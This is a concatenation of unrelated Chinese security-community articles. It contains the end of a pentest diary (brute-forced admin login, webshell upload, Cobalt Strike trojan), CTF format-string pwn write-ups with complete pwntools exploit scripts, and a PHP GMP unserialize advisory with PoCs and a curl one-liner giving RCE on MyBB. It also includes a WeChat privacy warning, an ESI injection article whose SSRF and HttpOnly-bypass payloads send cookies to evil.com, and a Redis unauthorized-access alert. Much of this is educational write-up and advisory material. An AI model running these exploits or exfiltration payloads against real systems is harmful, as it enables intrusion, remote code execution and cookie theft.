10. 没有思路了（这还测个屁，出信息泄露的报告吧。。。。。）
11. 吃完午饭回来又打开网站，感觉这么老的网站应该多多少少的会有问题
12. 在经过半个小的摸索中终于找到了突破口（google，baidu,各种搜索引擎中徘徊）
13. 找到了管理登录页面
14. 又是一顿常规测试方法怼上去，弱口令，看看登录框又没有注入，万能密码啥的，无果
15. 登录没有验证码，开启爆破模式
16. 草 竟然如此简单
17. 后台如此简陋
18. 找到编辑文章的地方
19. 竟然能直接上传apsx脚本，终于没有辜负我的苦心
20. 可以上传成功 但是链接失败
21. 换个工具试试
22. 应该是waf导致的，既然能上传找个免杀的马，应该问题不大
23. 成功搞下shell，草 全乱码了，没法看啊
24. 历经千难万险 终于上了冰蝎马
25. 执行命令发现，权限很小，并且还有360全家桶
26. 先基本的搜集一下信息
27. 找到数据库信息，心想可以通过mysql提权
28. 但是aspx的马不支持mysql连接，尝试上传php脚本，发现程序本身不解析php
29. 实在没有办法了，想通过cs生成木马，再进行简单的免杀
30. 上传木马并执行
31. 卧槽，没有任何反应，难道被杀了？
32. 怎么执行都没有反应，一开始我以为是被杀了，去目录看，文件还存在，后来又怀疑是系统位数不对，重新生成payload，重新上传也不行，很奇怪。
33. 为了测试，我本地打开一下
34. 本地运行没有问题
35. 就到这里吧，不折腾了，可以交差了
36. 目标内网也没有可以搞的机器，瞬间索然无味 | 社区文章 |
# 四道题看格串新的利用方式
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者:nuoye@星盟
## 前言
相对于基本的%p进行leak和%n写入，最近几年出现了不少新的格式化字符串的利用方式，这里以四道题为例，讲下四个新的方法。
## 正文
### 2020 ciscn 华南分区赛 : same
这道题主要涉及到到一个比较偏的格串符号`*`，在[wiki](https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2)中可以看到关于它的用法：
知道这一点，下面的题目也就不难了。
首先看下程序流程：
即输入一个数以及一个9字节的格式化字符串，从而使上述输入的数与v3的值相同。
其中v3的值为随机数：
这里因为限制了只能输入9个字节，所以需要用到`*`(type，表示取对应函数参数的值)，其payload为：`%7*$p%6$n`。这样即可将v3（在格串中对应偏移为7）的值输入到v4（偏移为6）中，使两数相等，进而getshell。
### 2020 ciscn 线下 awd ：pwn3thread
这道题本质上还是属于栈溢出的内容，但因为涉及到printf函数中的一个函数劫持，所以也可以归为格串的利用。
main函数如下：
即重复创建线程并等待返回。
线程中执行的函数：
该函数中首先保存了返回地址，并在结束前恢复返回地址，所以无法通过劫持该函数的返回地址来进行getshell。
该程序中用到了`__printf_chk`函数，该函数与printf的区别在于：
* 不能使用 `%x$n` 不连续地打印，也就是说如果要使用 `%3$n`，则必须同时使用 `%1$n` 和 `%2$n`。
* 在使用 `%n` 的时候会做一些检查。
`__printf_chk`调用过程中有一个的`buffered_vfprintf`函数，相应漏洞内容如下：
其中fs寄存器指向线程栈地址之后连续的一块地址，因此可以通过栈溢出劫持该指针，进而达到任意代码执行的目的。
思路：
1. 利用`%p`打印出`libc`地址和`canary`值，以便栈溢出
2. 泄漏处`libc+0x3F0990`处的值，并进行移位操作，再与onegadget进行异或得到一格特定值。
3. 将该特定值通过栈溢出的方式写入到fs+0x30处，从而达到getshell目的。
exp：
from pwn import *
p = process("./pwn")
libc = ELF("./pwn").libc
one = [0x4f3d5,0x4f432,0x10a41c]
def ROR(i,index):
tmp = bin(i)[2:]
tmp = (64-len(tmp))*'0'+tmp
for j in range(index):
tmp = tmp[-1]+tmp[:-1]
return int(tmp,2)
#leak libc and canary
i = 7+5
p.sendline("%p"*i)
p.recvuntil("0x")
libc_base =int(p.recv(12),16)-0x3ED8D0
libc.address = libc_base
print hex(libc_base)
for i in range(i-5):
p.recvuntil("0x")
canary =int(p.recv(),16)
print hex(canary)
#leak libc+0x3F0988
payload = '%p'*6+'%s'+'aa'+p64(libc.address+0x3F0988)
p.sendline(payload)
p.recvuntil("025")
p.recvuntil("0x")
p.recvuntil("6161732570257025")
#overflow and getshell
a = u64(p.recv(8))
b = ROR(a,0x11)
c = b ^ libc.address+one[1]
print hex(a)
print hex(b)
payload = "a"*0x38+p64(canary)
payload = payload.ljust(0x850,'\x00')
payload += p64(0)*6+p64(c)
p.sendline(payload)
p.interactive()
### 2019 delta ctf : unprintable
很经典的一道关于格式化字符串的利用，这里也稍微讲解一下。
程序截图如下：
关闭了回显，并且存在格式化字符串漏洞，但是直接通过exit函数退出了，并且栈上也没有什么可以利用的点：
但细心点可以发现下面两个地址：
在调用exit函数退出程序时，会调用到的`_dl_fini`函数，而该函数会根据link_map的l_addr偏移量来调用`&fini_ararry+l_addr`中存放的函数：
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
在gdb中调试可以发现如下代码：
可以看到将会调用`[0x600e38+8]+[rbx]`处的值对应的函数，而其中rbx即是上面`_dl_init+139`前一个地址，该地址即为l_addr的地址。
利用该漏洞，可以通过修改l_addr，从而再一次进行read和printf，并且这一次在栈上我们可以发现一些有用的东西：
通过劫持这几个地址即可重复的实现格式化字符串漏洞的利用。接着通过编写rop串将stderr修改为onegadget然后执行即可。
exp：
from pwn import *
p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF("./libc-2.23.so")
#获取stack地址，并计算出要修改的地址
p.recvuntil("0x")
stack = int(p.recv(12),16)-0x110-8
print hex(stack)
#劫持l_addr，从而在buf中伪造fini_array，再一次读并输出格式化字符串
payload = "%"+str(0x298)+"c%26$hn"
payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)
p.send(payload)
sleep(1)
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
stdout_ptr_addr = 0x0000000000601020
one = [0x45226,0x4527a,0xf0364,0xf1207]
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = one[3]
offset = one_gadget - libc.sym['_IO_2_1_stderr_']
adc_p_rbp_edx = 0x00000000004006E8
rop_addr = 0x0000000000601260
tmp = stderr_ptr_addr-0x48
#利用adc将stderr修改为one_gadget
rop = p64(csu_pop)
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#call onegadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)
rop_addr = rop_addr-0x18
addr1 = rop_addr&0xffff+0x10000
addr2 = (rop_addr>>16)&0xffff+0x10000
addr3 = (rop_addr>>32)&0xffff+0x10000
#0 劫持printf的返回地址，并将指针指向返回地址的下一地址，方便后面迁栈
payload = '%' + str(0xA3) + 'c%23$hhn'
payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'
p.send(payload)
sleep(1)
#1-2为迁栈过程，即不断劫持printf的返回地址，并依次将下一地址修改为指向buf上存放rop串处，并且最终将返回地址改为pop rsp，从而执行rop串
#1
stack = stack+2
payload = '%' + str(0xA3) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
tmp2 = tmp1+0xa3
payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'
p.send(payload)
sleep(1)
#2
stack = stack+2
payload = '%' + str(0x60) + 'c%13$hn'
payload += '%' + str(0xA3-0x60) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
p.send(payload)
sleep(1)
#3 继续将返回地址的下一地址修改为指向buf上存放rop串处，并且最终将返回地址改为pop rsp，从而执行rop串
payload = '%13$hn'
payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'
payload = payload.ljust(0x200,'\x00')
payload += rop
#gdb.attach(p,'b *0x4007C1')
p.send(payload)
sleep(1)
#重新获取shell，并恢复stderr
p.sendline("sh >&2")
p.interactive()
### 2020 ciscn 线下 break&fix : anti
程序主要功能如下：
可以看到与unprintable类似，同样进行了close(1)。但用seccomp查看可以发现禁用了execute系统调用：
并且还开启了pie，因此做法就不能与unprintable相同了。
这里利用了IO结构中的`_fileno`，正常情况下，stdin、stdout、stderr分别对应1、2、3。通过修改这个值，可以将输入输出重定向到其他标识符中。这里只关闭了1（即`标准输出`），但是2（也就是`标准错误输出`）没有关闭，因此可以将其改为2，通过`标准错误输出`来进行输出，接着就可以进行leak，然后迁栈到buf中进行orw了。
这里的关键点在于如何修改stdout的`_fileno`，通过观察可以发现在给出的栈地址相对偏移`-70`的地方存在`_IO_2_1_stdout`的地址：
通过修改其低字节为`\x90`即可指向`_fileno`，接着就是如何对其进行写入操作了。
这里需要爆破一下，将从vuln返回后能够进入到读取字符串处，只要将rbp改为上述`栈地址+0x18`处，即可实现修改：
为了实现这一目的，首先先看下栈上有什么东西：
可以看到存在三个栈指针地址（`0`、`4`、`8`），以及一系列pie地址，第一步要做3个操作：
1. 将`2`处低2位爆破为上述目标地址，从而进行读写。
2. 将返回地址（即`1`）修改为ret指令的地址，以便执行2处地址。（因为只能通过%hhn写入一字节，直接修改这个地址会直接跳转过去导致失败）
3. 将rbp（即0）修改为给出的`栈地址-0x58`
这里2和3步骤需要同时完成，同时，为了使读取`_fileno`后返回还能正常输入，这里需要将`栈地址-0x58`的值修改为`栈地址+0xc0`，也就是使其返回后执行start函数（这里因为将`_fileno`修改为2了，所以`close(1)`不会再产生影响）。
到这里就完成了输出的重定向，接着就是leak，然后迁栈以及orw即可了。
exp：
from pwn import *
p = process("./anti")
libc = ELF("anti").libc
p.recvuntil(" 0x")
stack = int(p.recv(12),16)
print "stack1 : " + hex(stack)
#chang stdout
pay = "%"+str((stack-0x18)&0xff)+"c%6$hhn"
p.sendline(pay)
pay = "%"+str((stack-0x70)&0xff)+"c%10$hhn"
p.sendline(pay)
pay = "%"+str(0x90)+"c%6$hhn"
p.sendline(pay)
#set ret addr2 1/16
pay = "%"+str((stack-0x18)&0xff)+"c%10$hhn"
p.sendline(pay)
pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"
p.sendline(pay)
pay = "%"+str(0xdf)+"c%6$hhn"
p.sendline(pay)
pay = "%"+str((stack-0x8+1)&0xff)+"c%10$hhn"
p.sendline(pay)
pay = "%"+str(0x4c)+"c%6$hhn"
p.sendline(pay)
#rbp -> _start
pay = "%"+str((stack-0x58)&0xff)+"c%10$hhn"
p.sendline(pay)
pay = "%"+str((stack+0xc0)&0xff)+"c%6$hhn"
p.sendline(pay)
#set ret addr1 and stack(rbp)
pay = "%"+str((stack-0x10)&0xff)+"c%10$hhn"
p.sendline(pay)
pay = "%"+str(0x3c)+"c%6$hhn"
pay += "%"+str((stack-0x58-0x3c)&0xff)+"c%10$hhn"
p.sendline(pay)
#set _fileno to 2
p.sendline("\x02")
p.send("\n")
#leak
p.recvuntil(" 0x")
stack = int(p.recv(12),16)
print "stack2 : " + hex(stack)
p.sendline("%7$p%13$p")
p.recvuntil("0x")
pie = int(p.recv(12),16) -0xf96
print "pie : " + hex(pie)
p.recvuntil("0x")
libc.address = int(p.recv(12),16) -0x20840
print "libc_base : " + hex(libc.address)
#orw rop chain
buf = pie+0x202040
pop_rsp_4 = pie + 0x000000000000104d
pop_rax = 0x000000000003a738 + libc.address
pop_rdi = 0x0000000000021112 + libc.address
pop_rdx = 0x0000000000001b92 + libc.address
pop_rsi = 0x00000000000202f8 + libc.address
syscall = 0x00000000000bc3f5 + libc.address
rop = ''
rop += p64(pop_rax)
rop += p64(2)
rop += p64(pop_rdi)
rop += p64(buf+0x100)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rdx)
rop += p64(0)
rop += p64(syscall)#open("/flag",0,0)
rop += p64(pop_rax)
rop += p64(0)
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(buf+0x500)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(syscall)#read(1,buf+0x500,0x100)
rop += p64(pop_rax)
rop += p64(1)
rop += p64(pop_rdi)
rop += p64(2)
rop += p64(pop_rsi)
rop += p64(buf+0x500)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(syscall)#write(2,buf+0x500,0x100)
#set pop_rsp
pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"
p.sendline(pay)
pay = "%"+str(pop_rsp_4&0xff)+"c%10$hhn"
p.sendline(pay)
pay = "%"+str((stack-0x8+1)&0xff)+"c%6$hhn"
p.sendline(pay)
pay = "%"+str((pop_rsp_4>>8)&0xff)+"c%10$hhn"
p.sendline(pay)
#set return address and write rop_gadget
pay = "%"+str((stack-0x10)&0xff)+"c%6$hhn"
p.sendline(pay)
p.recv()
#gdb.attach(p,'b *$rebase(0xF35)')
pay = "%"+str(0x3c)+"c%10$hhn"
pay = pay.ljust(0x18,'\x00')
pay += rop
pay = pay.ljust(0x100,'\x00')
pay += '/flag\x00'
p.sendline(pay)
p.recv(0x3c)
p.interactive()
## 参考链接
[详解 De1ctf 2019
pwn——unprintable](https://www.anquanke.com/post/id/183859#h2-5)
[全国大学生信息安全竞赛决赛部分pwn题解](https://www.anquanke.com/post/id/219140) | 社区文章 |
https://hackerone.com/reports/198734
# 概述
在使用精心编制的对象的`__wakeup()`魔术方法进行GMP反序列化时发现了一个类型混淆漏洞，该漏洞可被滥用来更新分配给已创建对象的任何属性，进而触发严重的安全问题。
# 受影响的版本
PHP 5.6 < 5.6.30
# 漏洞披露
此漏洞由Taoguang Chen披露
# 漏洞描述
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
攻击者可以将`**object`更改为整数类型或bool类型的ZVAL，然后攻击者将能够通过`Z_OBJ_P`访问存储在对象库中的任何对象。这意味着攻击者将能够通过`zend_hash_copy()`更新对象中的任何属性。从而引发了一系列安全问题。
下面这段代码可以验证这个漏洞
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
预期结果:
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
实际结果:
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
# 如何在真实环境中利用这个漏洞
在`php
5.6<=5.6.11`中，DateInterval的`__wakeup()`使用`convert_to_long()`句柄并重新分配其属性，因此攻击者可以通过GMP的`gmp_cast_object()`将GMP对象转换成任何整数类型的ZVAL:
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
mpz_ptr gmpnum;
switch (type) {
...
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
漏洞利用代码
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
当然，也可以套用精心编制的`__wakeup()`
<?php
function __wakeup()
{
$this->ryat = (int) $this->ryat;
}
?>
# MyBB <= 1.8.3
index.php
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
MyBB<=1.8.3允许通过`unserialize()`反序列化cookie，因此攻击者能够更新`$mybb`或其他对象的属性，从而很容易导致安全问题，例如：XSS、SQL注入、RCE等
好消息是该漏洞已经在新版本得到了修复
# PoC
MyBB <= 1.8.3 RCE漏洞
index.php
eval('$index = "'.$templates->get('index').'";');
MyBB在模板解析过程中始终使用eval()函数。
inc/class_templates.php
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
如果我们可以控制`$cache`，我们就可以通过`eval()`函数注入php代码。
inc/init.php
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
`$templates`对象在`init.php`中实例化，并且在此之前实例化了四个对象。这意味着`$templates`对象的句柄被设置为5并存储到对象存储中，因此我们可以访问`$templates`对象并通过在GMP反序列化期间将GMP对象转换为整型ZVAL(其值为5)来更新`$cache`属性。这也表明我们可以通过eval()函数注入php代码。
当MyBB<=1.8.3和PHP5.6<=5.6.11时，只需在命令行上使用curl即可触发RCE：
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/ | 社区文章 |
# 隐私泄露警告：请停止使用”微信清理僵尸粉“软件！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
不知道大家有没有遇到过这样的情况：某个微信群突然有陌生人通过扫描自己“分享”的二维码加群，然后发布各种违规小广告狂轰乱炸。但是自己根本没有分享过群二维码，这到底是怎么回事呢？通过深入研究发现，出现这种状况的微信用户有一个共同点：
**他们基本都使用过市面上“清理僵尸粉”的服务。**
图片来自网络
## 常见的“清粉”三步曲
## “清粉”的哪个环节导致信息泄露？
这类“清理僵尸粉”服务大多采用“推荐好友”“转发获取奖品”等手段，诱导用户分享转发。部分用户在使用“清粉”服务不久后，就会发现有陌生人通过自己“分享”的二维码扫码进群，或者自己被人拉入了一些广告群，被垃圾信息轰炸得苦不堪言。
原来，在使用“清粉”服务时，对方会要求你扫描一个二维码，
**这个二维码实际上就是微信PC端或网页端的登录授权码，只要你扫码确认，对方就可以通过外挂软件获取你的所有用户权限。**
你的帐号、好友关系、群二维码、财务信息等，就是从这一步开始泄露的。
## “清粉”类软件的原理
“清粉”软件的原理，本质上就是通过外挂软件控制微信帐号，自动向所有好友群发消息，再由软件自动识别哪些是“僵尸粉”并删除。
## “清粉”软件如何获取你的群二维码？真相！
不法分子在获得你的授权登录微信帐号后，会借机批量盗取微信群聊二维码，并将这些群聊二维码以图片形式保存在服务器上，再倒卖给下游的诈骗、赌博等犯罪团伙获利。
## 利益催生下的“清粉”黑灰产业链
### 模式一
**借助微信“清粉”工具**
**推广产品或打造自己的私域流量池**
用户授权”清粉“软件登录自己的微信后，在”清粉“的过程中，会给用户的微信好友群发消息，其内容形式大致分为以下两种：
**形式一：** 链接或为”清粉“平台引流；或为某APP的下载链接，相当于借助“清粉”工具变相完成产品推广。
**形式二：**
链接包含了“清粉“平台二维码，可形成病毒性传播。通过A这么一个节点，清僵尸粉的微信便成功添加了至少几十位微信粉丝，轻松完成了私域流量池的搭建。
### 模式二
**登录用户的微信实施诈骗**
一些“清粉”工具在获得用户微信登陆的“授权”后，相当于完全控制了用户的微信账号，随之用户隐私信息也就暴露无疑：一方面，骗子很容易
**冒充用户来骗取亲友钱财，并盗取账户资金** ；另一方面，还可能利用用户的微信 **传播各类违规违法信息** 。
## “清粉”类软件其他可能存在的风险
## 安全课堂
n360手机卫士提醒您， **清理微信好友最安全可靠的方式，就是自己手动建群或逐一给朋友发送信息，**
虽然过程比较复杂，但可以保护账户安全。而贪图便捷使用“清粉”类软件可能暗藏重大安全风险，严重时还会导致重要个人隐私信息泄露、遭受网络诈骗等；
n微信包含一些个人隐私信息，且有微信钱包和绑定的银行卡，如果对方登录你的账号，很容易造成隐私泄露或账户被盗刷；
n在对方登录过你的微信账号后，一定要及时修改登录密码，避免账号密码外泄惨遭盗刷；
n如果大家发现有陌生人通过自己的二维码扫码进群，可尝试通过以下方式解决：
1.务必优先修改密码，保证帐号安全；
2.尝试联系群主开启进群群主确认；
3.通过点击“撤销”，选择将坏人移出群或者使坏人获取的二维码失效； | 社区文章 |
文章来源：<https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection>
* * *
### 前言
在某次评估客户资产安全时，我们发现 _Edge Side Includes (ESI)_
的标记语言存在异常行为，这种语言在HTTP中间件中被广泛使用（例如：反向代理，均衡负载，缓存服务器和代理服务器等等）。我们发现ESI攻击可以造成SSRF，多种XSS攻击（无视
_HTTPOnly_ 等cookie保护措施）和基于服务端的拒绝服务攻击。这种攻击技术被称为：ESI注入。
经进一步研究，我们发现众多流行服务都可以解析处理ESI语言，例如：Varnish, Squid Proxy, IBM WebSphere, Oracle
Fusion/WebLogic, Akamai, Fastly, F5, Node.js ESI,
LiteSpeed和一些特殊语言的插件。但不是所有服务都默认开启ESI处理功能，这点我们后面再谈。
### ESI概述
ESI语言是基于XML标签的标记语言，用于改善HTTP中间件加载大量Web内容缓存时造成的性能下降。使用ESI标签可以指示反向代理服务器（或缓存服务器）获取已缓存Web页面模版的更多信息。传递给客户端的这些信息可能还来自另一台服务器（非后端服务器），该服务器可以完全缓存包含动态内容的页面。
ESI常常在存在少量动态数据而庞大的静态页面的情况下使用。开发者可以把页面的动态内容替换为ESI标签，从而实现缓存的多样化。当用户请求该页面时，代理服务器会解析处理ESI标签，获取内容，从而有效减轻后端服务器的压力。
举个例子，有一个查询天气的网站，网站会定时缓存城市天气页面的内容，如下图，可以用ESI标签代替获取动态数据的参数：
ESI语法规则非常简单，上面这个例子的HTML可能为：
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
最早的ESI语言规范在2001就已经颁布，但每个服务商的具体使用情况各不相同。服务产品类型不同，用到的功能自然不一样。这里可以读到关于原始规范的更多信息：<http://www.w3.org/TR/esi-lang> 。上面有标记语言用法和常用功能。有一些服务商比如说Akamai和Oracle，它们在规范的基础上添加了一些其他功能。
### 存在的问题
HTTP中间件服务器不能正确识别ESI标签是来自上游服务器还是恶意用户，换句话说，攻击者可以注入恶意ESI标签，HTTP中间件会相信标签来自上游服务器，并且盲目解析并且转发。
当ESI解析器解析ESI标签时，只能解析原始的`<`和`>`（不能进行编码或者转义）。但目前Web应用通常都会转义用户输入的特殊字符来防范XSS攻击，这会影响中间件服务器对ESI标签的解析。实际上，ESI标签不是只能以HTML的方式注入在服务器内部的响应中。比如说JSON对象和CSV，开发者可以通过它们向缓存和静态数据页面添加动态参数。Fastly的博客曾发表过[一篇非常棒的文章](https://www.fastly.com/blog/using-esi-part-1-simple-edge-side-include)，分享了使用JSON对象构造ESI标签的方法。目前的大部分框架通常会转义所有字符，我们经常可以看见JSON对象中有HTML字符串，但它们不会被浏览器视为HTML。然而这方便了攻击者使用JSON构造ESI
payload。
这种场景非常罕见，因为它通常不是ESI语言解析器的默认处理对象。最常见的攻击是ESI标签被后端服务器处理后仍原封不动地反射在响应中，再交由均衡负载或代理服务器处理解析。显然，如果清理了用户输入，编码ESI标签，那中间件服务器将不会处理它，这样可以防止XSS攻击。
### ESI注入
#### SSRF
可以说，ESI规范中使用最多最广泛的部分是“includes”。ESI
Includes即标签，它会被代理服务或者均衡负载等处理，然后发出一个侧端HTTP请求来获取动态内容。攻击者在HTTP响应中添加一个ESI
include标签就可以造成SSRF攻击，注意此时用户伪造的身份是“中间件服务器”（非应用服务器）。
举个例子，这个payload可以用于造成HTTP代理服务器的SSRF攻击：
<esi:include src="http://evil.com/ping/" />
在有HTTP回调的情况下，中间件服务器很容易受到ESI注入攻击。但是ESI可能存在多种限制，比如处理ESI的服务器不允许包含非白名单内容的主机，这样攻击者只能对白名单的服务器执行SSRF攻击。关于这点，在后续章节我会提到。下面是ESI
SSRF攻击示意图：
1. 攻击者发送携带ESI payload的请求通过中间件服务器，然后传给后端服务器处理（ESI payload将会反馈在响应中）。
2. 中间件服务器收到请求后，转发给相应的后端服务器。
3. 后端应用服务器处理后，ESI payload反射在响应中，然后转发给中间件服务器。
4. 再次转发，ESI服务器收到响应后，判断存在ESI标签并且解析它，然后发送请求给 _evil.com_ 。
5. ESI处理服务器收到 _evil.com_ 的响应后，与后端服务器的响应组合起来，转发给中间件服务器。
6. 中间件服务器传递完整的响应给用户端。
#### 绕过客户端XSS过滤
客户端的XSS过滤的方式通常是将用户输入与页面的响应比较。`GET`中参数内容在响应内容中存在时，浏览器将实施一系列方法识别反射的内容是否为XSS
payload。浏览器通过启发式表现识别出payload是HTML或JavaScript后，攻击就失败了。
然而，Chrome的XSS过滤器不能识别ESI标签，这是因为ESI payload在客户端无法处理。为了演示ESI的魔幻之处，我将部分XSS
payload分配给ESI引擎处理，然后打印出结果。在浏览器处理JS之前，ESI引擎会处理JavaScript然后构造出完整的payload。从而绕过了XSS过滤器的检查，下面是我的Payload：
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
`<esi:assign>`储存了一个任意变量给ESI变量。通过`$(variable_name)`访问这个变量。本例中`var1`值为`cript`。这个值被打印出来，组成`<script>`标签。返回的payload为：
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
实际情况并不是所有ESI产品都支持自定义ESI变量。但是，如果可以使用“includes”，则可以尝试指向某个包含XSS
payload的外部域。下面是利用ESI includes实现SSRF-XSS攻击的一个简单的例子：
poc.html：
<script>alert(1)</script>
注入包含该页面的ESI标签：
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
由于SSRF，受害服务器将访问poc.html并且反射在页面，然后造成DOM型XSS。
#### 绕过HttpOnly
根据实际需要，像代理服务器和均衡负载这样的HTTP中间件通常可以获取网站的HTTP请求和响应。当然，这也包括浏览器或服务器发送的所有cookie值。开发人员可以通过ESI引擎引用cookies，根据cookies的状态来灵活变通，实现其他功能。
防御以JavaScript方式窃取cookie的一般方法是使用HttpOnly标志。开发人员创建cookie时可开启该标志，开启后将拒绝JavaScript引擎访问cookie，从而阻止通过XSS窃取cookie。但是ESI是在服务器端处理，我们可以在上游服务器传递给中间件服务器时引用cookie。通过ESI
includes提取出cookie，想象一下，ESI引擎会如何处理下面这个payload：
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
查看我们控制的 _evil.com_ 的HTTP日志文件：
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
至此，绕过HttpOnly窃取Cookie也实现了。
下一部分我会在真实的案例中分析ESI注入的差异，敬请期待！ | 社区文章 |
# 安全事件
9月10日下午15:06开始，阿里云官方首次发现一起规模化利用Redis
未授权访问漏洞进行加密货币勒索的事件，阿里云上防御系统在攻击开始的10s内就已开启全网拦截。
与以往的只是通过算力窃取进行挖矿的攻击事件不同，此次攻击者在攻击之初就是以勒索钱财作为第一目的的，攻击者无惧暴露，非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带，基本的攻防对抗将是赤裸裸的一场刺刀战。
该高危漏洞早在半年前阿里云就发布过预警，但是还是有不少用户并未进行修改加以重视。阿里云安全专家提醒用户参考文末方法，尽快完成漏洞修复或部署防御，一旦被攻击成功，整个服务器的程序和数据都将会被删除!且很难恢复。
# Redis应用简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5月开始，Redis的开发由Pivotal赞助。
# Redis漏洞原理
作为一个内存数据库，redis
可通过周期性配置或者手动执行save命令，将缓存中的值写入到磁盘文件中。如果redis进程权限足够，攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell
等等，以达到执行任意指令的目的。
